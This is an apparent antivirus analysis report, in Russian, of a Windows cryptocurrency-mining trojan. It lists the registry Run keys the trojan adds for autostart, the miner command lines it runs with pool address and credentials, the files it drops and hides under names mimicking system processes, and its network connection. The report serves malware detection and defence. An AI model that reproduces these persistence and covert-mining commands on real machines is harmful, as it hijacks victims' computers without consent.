Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'startminered' = '"%APPDATA%\Microsoft\startminered.lnk"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'start' = '"%APPDATA%\Microsoft\start.lnk"'
Вредоносные функции:
Создает и запускает на исполнение:
- '%APPDATA%\Microsoft\hidcon.exe' "start.bat"
- '%APPDATA%\Microsoft\services.exe' -i 1 -o http://mi###.#rneto.ru:4327 -O vrkxkibdnxx999tiz:87n2yz3huwhenjghywfglkl
- '%APPDATA%\Microsoft\winlogon.exe' --url http://mi###.#rneto.ru:4327 --userpass vrkxkibdnxx999tiz:87n2yz3huwhenjghywfglkl
- '%APPDATA%\Microsoft\hidcon.exe' "auto.bat"
- '%APPDATA%\Microsoft\hidcon.exe' "startminered.bat"
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c start.bat
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\smg.bat" "
- '<SYSTEM32>\msg.exe' * "Update Ok!"
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "startminered" /t REG_SZ /d "\"%APPDATA%\Microsoft\startminered.lnk\"
- '<SYSTEM32>\cmd.exe' /c auto.bat
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start" /t REG_SZ /d "\"%APPDATA%\Microsoft\start.lnk\"
- '<SYSTEM32>\cmd.exe' /c startminered.bat
Изменения в файловой системе:
Создает следующие файлы:
- %APPDATA%\Microsoft\services.exe
- %APPDATA%\Microsoft\smg.bat
- %APPDATA%\Microsoft\solidcoin-reaper.cl
- %APPDATA%\Microsoft\pthreadVC2.dll
- %APPDATA%\Microsoft\libusb-1.0.dll
- %APPDATA%\Microsoft\libwinpthread-1.dll
- %APPDATA%\Microsoft\pthreadGC2.dll
- %APPDATA%\Microsoft\startminered.bat
- %APPDATA%\Microsoft\winlogon.exe
- %APPDATA%\Microsoft\as.bat
- %APPDATA%\Microsoft\startminered.lnk
- %APPDATA%\Microsoft\ssleay32.dll
- %APPDATA%\Microsoft\start.lnk
- %APPDATA%\Microsoft\start.bat
- %APPDATA%\Microsoft\cudart32_55.dll
- %APPDATA%\Microsoft\hidcon.exe
- %APPDATA%\Microsoft\hidcon.map
- %APPDATA%\Microsoft\changelog
- %APPDATA%\Microsoft\zlib1.dll
- %APPDATA%\Microsoft\auto.lnk
- %APPDATA%\Microsoft\auto.bat
- %APPDATA%\Microsoft\libpdcurses.dll
- %APPDATA%\Microsoft\librtmp.dll
- %APPDATA%\Microsoft\libssh2.dll
- %APPDATA%\Microsoft\libidn-11.dll
- %APPDATA%\Microsoft\libcurl-4.dll
- %APPDATA%\Microsoft\libcurl.dll
- %APPDATA%\Microsoft\libeay32.dll
Присваивает атрибут 'скрытый' для следующих файлов:
- %APPDATA%\Microsoft\services.exe
- %APPDATA%\Microsoft\smg.bat
- %APPDATA%\Microsoft\solidcoin-reaper.cl
- %APPDATA%\Microsoft\pthreadVC2.dll
- %APPDATA%\Microsoft\libusb-1.0.dll
- %APPDATA%\Microsoft\libwinpthread-1.dll
- %APPDATA%\Microsoft\pthreadGC2.dll
- %APPDATA%\Microsoft\startminered.bat
- %APPDATA%\Microsoft\winlogon.exe
- %APPDATA%\Microsoft\as.bat
- %APPDATA%\Microsoft\startminered.lnk
- %APPDATA%\Microsoft\ssleay32.dll
- %APPDATA%\Microsoft\start.lnk
- %APPDATA%\Microsoft\start.bat
- %APPDATA%\Microsoft\cudart32_55.dll
- %APPDATA%\Microsoft\hidcon.exe
- %APPDATA%\Microsoft\hidcon.map
- %APPDATA%\Microsoft\changelog
- %APPDATA%\Microsoft\zlib1.dll
- %APPDATA%\Microsoft\auto.lnk
- %APPDATA%\Microsoft\auto.bat
- %APPDATA%\Microsoft\libpdcurses.dll
- %APPDATA%\Microsoft\librtmp.dll
- %APPDATA%\Microsoft\libssh2.dll
- %APPDATA%\Microsoft\libidn-11.dll
- %APPDATA%\Microsoft\libcurl-4.dll
- %APPDATA%\Microsoft\libcurl.dll
- %APPDATA%\Microsoft\libeay32.dll
Сетевая активность:
Подключается к:
- 'mi###.arneto.ru':4327
UDP:
- DNS ASK mi###.arneto.ru
Другое:
Ищет следующие окна:
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
